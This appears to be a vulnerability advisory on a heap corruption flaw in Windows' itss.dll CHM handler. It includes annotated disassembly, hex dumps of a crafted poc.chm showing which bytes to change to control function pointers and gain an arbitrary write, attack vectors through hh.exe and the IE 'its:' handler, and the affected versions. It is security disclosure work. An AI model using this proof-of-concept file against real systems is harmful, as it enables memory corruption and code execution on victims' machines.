


```

.text:662C03D2      call    ???CSyncWith@@QAE@AAVCITCriticalSection@@@Z ;
CSyncWith::CSyncWith(CITCriticalSection &)
.text:662C03D7      mov     esi, [ebp+arg_0]
.text:662C03DA      xor     ebx, ebx
.text:662C03DC      push   ebx                ; dwMoveMethod
.text:662C03DD      lea   eax, [ebp+DistanceToMoveHigh]
.text:662C03E0      push   eax                ; lpDistanceToMoveHigh
.text:662C03E1      push   [ebp+lDistanceToMove] ; lDistanceToMove ;30CE expected offset
.text:662C03E4      push   dword ptr [esi+20h] ; hFile
.text:662C03E7      call  ds:__imp_SetFilePointer@16 ; SetFilePointer(x,x,x,x)
.text:662C03ED      cmp    eax, 0FFFFFFFFh
.text:662C03F0      mov    edi, ds:__imp_GetLastError@0 ; GetLastError()
.text:662C03F6      jnz   short loc_662C03FE
.text:662C03F8      call  edi ; GetLastError() ; GetLastError()
.text:662C03FA      cmp    eax, ebx
.text:662C03FC      jnz   short loc_662C0436
.text:662C03FE
.text:662C03FE      loc_662C03FE:                ; CODE XREF:
CFSLockBytes::CImpILockBytes::ReadAt(_ULARGE_INTEGER,void *,ulong,ulong *)+36#j
.text:662C03FE      push   ebx                ; lpOverlapped
.text:662C03FF      lea   eax, [ebp+NumberOfBytesRead]
.text:662C0402      push   eax                ; lpNumberOfBytesRead
.text:662C0403      push   [ebp+nNumberOfBytesToRead] ; nNumberOfBytesToRead ;0x3A
.text:662C0406      mov    [ebp+NumberOfBytesRead], ebx
.text:662C0409      push   [ebp+lpBuffer] ; lpBuffer ;heap corruption!!!
.text:662C040C      push   dword ptr [esi+20h] ; hFile
.text:662C040F      call  ds:__imp_ReadFile@20 ; ReadFile(x,x,x,x,x) .
.text:662C0415      mov    ecx, [ebp+arg_14]
.text:662C0418      cmp    ecx, ebx
.text:662C041A      jz    short loc_662C0421
.text:662C041C      mov    edx, [ebp+NumberOfBytesRead]
.text:662C041F      mov    [ecx], edx
.text:662C0421
.text:662C0421      loc_662C0421:                ; CODE XREF:
CFSLockBytes::CImpILockBytes::ReadAt(_ULARGE_INTEGER,void *,ulong,ulong *)+5A#j
.text:662C0421      cmp    eax, ebx
.text:662C0423      jnz   short loc_662C043E
.text:662C0425      call  edi ; GetLastError() ; GetLastError()
.text:662C0427      cmp    eax, 26h
.text:662C042A      jnz   short loc_662C0436
.text:662C042C      xor    eax, eax
.text:662C042E      cmp    [ebp+NumberOfBytesRead], ebx
.text:662C0431      setz  al
.text:662C0434      jmp   short loc_662C043C
.text:662C0436 ; -----
.text:662C0436
.text:662C0436      loc_662C0436:                ; CODE XREF:
CFSLockBytes::CImpILockBytes::ReadAt(_ULARGE_INTEGER,void *,ulong,ulong *)+3C#j
.text:662C0436
.text:662C0436      CFSLockBytes::CImpILockBytes::ReadAt(_ULARGE_INTEGER,void *,ulong,ulong *)+6A#j
.text:662C0436      push   eax
.text:662C0437      call  ?STGErrorFromFSError@CImpILockBytes@CFSLockBytes@@SGKK@Z ;
CFSLockBytes::CImpILockBytes::STGErrorFromFSError(ulong)
.text:662C043C
.text:662C043C      loc_662C043C:                ; CODE XREF:
CFSLockBytes::CImpILockBytes::ReadAt(_ULARGE_INTEGER,void *,ulong,ulong *)+74#j
.text:662C043C      mov    ebx, eax
.text:662C043E
.text:662C043E      loc_662C043E:                ; CODE XREF:
CFSLockBytes::CImpILockBytes::ReadAt(_ULARGE_INTEGER,void *,ulong,ulong *)+63#j
.text:662C043E      push   [ebp+lpCriticalSection] ; lpCriticalSection
.text:662C0441      call  ds:__imp_LeaveCriticalSection@4 ; LeaveCriticalSection(x)
.text:662C0447      pop    edi
.text:662C0448      pop    esi
.text:662C0449      mov    eax, ebx
.text:662C044B      pop    ebx
.text:662C044C      leave
.text:662C044D      retn  18h
.text:662C044D      ?ReadAt@CImpILockBytes@CFSLockBytes@@UAGJT_ULARGE_INTEGER@@PAXKPAK@Z endp

```

Due to the corruption, itss.dll fails handling certain objects.

```

.text:662BFC89      loc_662BFC89:                ; CODE XREF:
CITUnknown::CloseActiveObjects(void)+22#j

```

```

.text:662BFC89          mov     eax, [esi]
.text:662BFC8B          push   esi
.text:662BFC8C          call   dword ptr [eax+8] ; eax is controlled

-----
.text:662BFF7B ; public: virtual unsigned long __stdcall CImpITUnknwn::Release(void)
.text:662BFF7B ?Release@CImpITUnknwn@@UAGKXZ proc near
.text:662BFF7B                                     ; CODE XREF:
CStorage::CImpIStorage::Release(void)+17#p
.text:662BFF7B                                     ; DATA XREF: .text:662B1DD8#o ...
.text:662BFF7B
.text:662BFF7B arg_0          = dword ptr 8
.text:662BFF7B
.text:662BFF7B          mov     edi, edi
.text:662BFF7D          push   ebp
.text:662BFF7E          mov     ebp, esp
.text:662BFF80          mov     eax, [ebp+arg_0]
.text:662BFF83          mov     eax, [eax+4]
.text:662BFF86          mov     ecx, [eax]
.text:662BFF88          push   eax
.text:662BFF89          call   dword ptr [ecx+8] ; ecx is controlled.
.text:662BFF8C          pop    ebp
.text:662BFF8D          retn   4
.text:662BFF8D ?Release@CImpITUnknwn@@UAGKXZ endp

```

Original

```

000030C0: 00 00 00 00-00 00 00 00-00 00 02 00-1E 00 02 00          ● ▲ ●
000030D0: 0C 00 55 00-6E 00 63 00-6F 00 6D 00-70 00 72 00          ? U n c o m p r
000030E0: 65 00 73 00-73 00 65 00-64 00 00 00-0C 00 4D 00          e s s e d ? M
000030F0: 53 00 43 00-6F 00 6D 00-70 00 72 00-65 00 73 00          S C o m p r e s
00003100: 73 00 65 00-64 00 00 00-7B 00 37 00-46 00 43 00          s e d { 7 F C
00003110: 32 00 38 00-39 00 34 00-30 00 2D 00-39 00 44 00          2 8 9 4 0 - 9 D
00003120: 33 00 31 00-2D 00 31 00-31 00 44 00-30 00 14 20          3 1 - 1 1 D 0 ¶

```

Modified

```

000030C0: 43 48 4D 46-4C 41 57 00-00 00 00 00-00 00 00 00          CHMFLAW
000030D0: 00 02 00 1E-00 02 00 0C-00 55 00 6E-00 0D F0 DA          ● ▲ ● ? U n ¶ r
000030E0: BA AD BA 0D-F0 72 00 65-00 73 00 73-EF BE AD DE          ||i|| r e s s ' ¥ i I
000030F0: 00 00 00 0C-00 4D 00 53-00 43 00 6F-00 6D 00 70          ? M S C o m p
00003100: 00 72 00 65-00 73 00 73-00 56 00 64-00 A0 00 7B          r e s s v d á {
00003110: 00 37 00 46-00 43 00 32-00 38 00 39-00 34 00 30          7 F C 2 8 9 4 0
00003120: 00 2D 00 39-00 44 00 33-00 31 00 2D-00 31 00 31          - 9 D 3 1 - 1 1

```

We are controlling the pointer to the function.

Remaining values can be modified just to overwrite any 32 bit address with any 32 bit value during multiple heap corruptions issues triggered by this dll.

Attack vectors.

“hh -decompile chm_src [c:\poc.chm](#)”

I.e. KeyTools “Decompile” “Examine CHM file” are affected.

Internet Explorer, locally, using the “its” protocol handler “[its:c:\poc.chm::/index.htm](#)” also will corrupt the heap. Just to test it, load the previous URI and reload I.E till the flaw will be triggered.

TESTING IT

The following behaviour will be triggered using 3 or 4 character in the filename (without extension) and located in the root directory. Other combinations will trigger other behaviours.

Windows XP HOME SP 2 and Windows 2000 Professional SP4

[c:\poc.chm](#)

Release() and CloseActiveObjects() (Call [eax + 8] & Call [ecx + 8])

Windows XP Professional SP2

[c:\poc.chm](#)

Heap Overwriting.

We would overwrite any address with any value.

module ntdll.dll

7C9218D0 mov DWORD PTR DS:[EAX], ECX

Controlled registers

EAX= **0x0DBAADBA**

ECX= **0xDAF00D00**

poc.chm

```
000030D0: 00 02 00 1E-00 02 00 0C-00 55 00 6E-00 0D F0 DA  ☉ ▲ ☉ ♀ U n ↓ ⌈
000030E0:  BA AD BA 0D-F0 72 00 65-00 73 00 73-EF BE AD DE  ||;|| ↓ r e s s ' ¥ ; ↓
```

Dll versions .

Windows XP Home SP2

itss.dll v 5.2.3790.2453

Windows 2000 P. SP4

itss.dll v 5.2.3790.309

Windows XP Professional SP2

itss.dll v 5.2.3790.2453

Rubén Santamarta

ruben@reversemode.com